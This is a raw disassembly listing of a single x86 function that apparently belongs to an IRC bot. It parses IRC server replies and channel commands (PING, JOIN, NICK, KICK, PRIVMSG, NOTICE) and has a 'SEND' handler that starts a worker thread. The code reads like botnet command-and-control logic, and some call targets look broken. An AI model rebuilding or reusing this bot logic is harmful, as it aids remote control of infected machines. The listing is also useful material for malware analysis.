var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C2A0
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BD10
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BD70
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F6C
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BD10
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDD0 ; " :"
		push	eax
		call	sub_41C080
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BD70
		mov	esi, offset asc_42CDCC ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41C864
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401B9A:				; CODE XREF: sub_401AC7+E7j
		push	esi
		push	ebx
		call	sub_41C864
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401B9A
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F6C
		cmp	[ebp+var_8C], ebx
		jz	loc_401F6C
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BE8:				; CODE XREF: sub_401AC7+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C14
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C1C
		cmp	[eax+2], bl
		jnz	short loc_401C1C
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C14:				; CODE XREF: sub_401AC7+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BE8


loc_401C1C:				; CODE XREF: sub_401AC7+12Aj
					; sub_401AC7+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C27
		mov	[ebp+var_8], edi


loc_401C27:				; CODE XREF: sub_401AC7+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C35
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C35:				; CODE XREF: sub_401AC7+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C6F
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BD70
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDC8 ; "!"
		push	eax
		call	sub_41C864
		add	esp, 20h


loc_401C6F:				; CODE XREF: sub_401AC7+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC0
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D64
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		add	esp, 10h
		jmp	loc_401D64
; ---------------------------------------------------------------------------


loc_401CC0:				; CODE XREF: sub_401AC7+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D6
		push	esi
		push	offset a005	; "005"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D6
		push	esi
		push	offset a302	; "302"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2B
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D64
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BD70
		add	esp, 0Ch
		jmp	short loc_401D64
; ---------------------------------------------------------------------------


loc_401D2B:				; CODE XREF: sub_401AC7+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D6B
		push	ebx
		push	dword_42909C
		push	dword_429098
		push	[ebp+arg_10]
		call	sub_40AE77
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		add	esp, 1Ch


loc_401D64:				; CODE XREF: sub_401AC7+1D8j
					; sub_401AC7+1F4j ...
		mov	eax, edi
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_401D6B:				; CODE XREF: sub_401AC7+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D7D:				; CODE XREF: sub_401AC7+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D9A
		mov	[ebp+var_A4], 1


loc_401D9A:				; CODE XREF: sub_401AC7+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D7D
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E91
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DC9:				; CODE XREF: sub_401AC7+38Fj
		cmp	[esi], bl
		jz	loc_401E51
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E51
		cmp	[ebp+var_84], ebx
		jz	short loc_401E51
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E51
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD5C
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		add	esp, 20h


loc_401E51:				; CODE XREF: sub_401AC7+304j
					; sub_401AC7+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DC9
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F6C
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E84:				; CODE XREF: sub_401AC7+5F3j
					; sub_401AC7+8B0j ...
		push	[ebp+arg_4]
		call	sub_40981C
		jmp	loc_404243
; ---------------------------------------------------------------------------


loc_401E91:				; CODE XREF: sub_401AC7+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FD4
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EBA:				; CODE XREF: sub_401AC7+445j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F07
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C720
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F07
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C620
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C630
		add	esp, 10h
		mov	edi, 80h


loc_401F07:				; CODE XREF: sub_401AC7+404j
					; sub_401AC7+41Bj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EBA
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F6C
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F6C
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F44
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BD70
		jmp	loc_40368F
; ---------------------------------------------------------------------------


loc_401F44:				; CODE XREF: sub_401AC7+469j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F49:				; CODE XREF: sub_401AC7+4A3j
		cmp	[edi], bl
		jz	short loc_401F60
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F74


loc_401F60:				; CODE XREF: sub_401AC7+484j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F49


loc_401F6C:				; CODE XREF: sub_401AC7+5Bj
					; sub_401AC7+F1j ...
		push	1


loc_401F6E:				; CODE XREF: sub_401AC7+2A2Ej
		pop	eax


loc_401F6F:				; CODE XREF: sub_401AC7+29Fj
					; sub_401AC7+2A50j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F74:				; CODE XREF: sub_401AC7+497j
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C720
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F6C
		push	eax
		call	sub_41B960
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B960
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F6C
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 24h
		jmp	short loc_401F6C
; ---------------------------------------------------------------------------


loc_401FD4:				; CODE XREF: sub_401AC7+3D9j
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FF6
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40201D


loc_401FF6:				; CODE XREF: sub_401AC7+51Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401FFB:				; CODE XREF: sub_401AC7+554j
		cmp	[edi], bl
		jz	short loc_402011
		push	[ebp+var_90]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40205E


loc_402011:				; CODE XREF: sub_401AC7+536j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401FFB


loc_40201D:				; CODE XREF: sub_401AC7+52Dj
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020BF
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402051
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402051:				; CODE XREF: sub_401AC7+57Fj
		push	[ebp+var_80]
		push	offset unk_42CD08
		jmp	loc_4097CA
; ---------------------------------------------------------------------------


loc_40205E:				; CODE XREF: sub_401AC7+548j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCE8
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C7E0
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F6C
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E84
; ---------------------------------------------------------------------------


loc_4020BF:				; CODE XREF: sub_401AC7+56Aj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C7E0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402113
		push	[ebp+var_8C]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402113
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409643
		cmp	dword_429088, ebx
		jz	loc_409643


loc_402113:				; CODE XREF: sub_401AC7+612j
					; sub_401AC7+624j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402293
		push	[ebp+var_8C]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_402293
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402157:				; CODE XREF: sub_401AC7+888j
					; sub_401AC7+8C4j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCCC
		mov	[ebp+arg_8], eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402529
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4023F3
		cmp	[ebp+var_A4], ebx
		jz	loc_4023CC
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C006
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_1B98]
		push	edi
		push	eax
		call	sub_41C006
		push	[ebp+esi+var_80]
		call	sub_41BEF9
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC90
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3AD
		add	esp, 44h
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset loc_416519
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	loc_4023BB


loc_40227D:				; CODE XREF: sub_401AC7+7CAj
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_40830C
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_40227D
; ---------------------------------------------------------------------------


loc_402293:				; CODE XREF: sub_401AC7+65Cj
					; sub_401AC7+672j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022AC
		mov	[ebp+var_4], 1


loc_4022AC:				; CODE XREF: sub_401AC7+7DCj
		cmp	[ebp+var_88], ebx
		jz	loc_401F6C
		push	offset dword_42CC8C
		push	[ebp+var_88]
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022D3
		cmp	[ebp+var_4], ebx
		jz	short loc_4022DF


loc_4022D3:				; CODE XREF: sub_401AC7+805j
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022DF:				; CODE XREF: sub_401AC7+80Aj
		cmp	[ebp+var_84], ebx
		jz	loc_401F6C
		inc	[ebp+var_84]
		jz	short loc_40232B
		cmp	[ebp+arg_10], ebx
		jz	short loc_40232B
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B960
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C5E0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402331
; ---------------------------------------------------------------------------


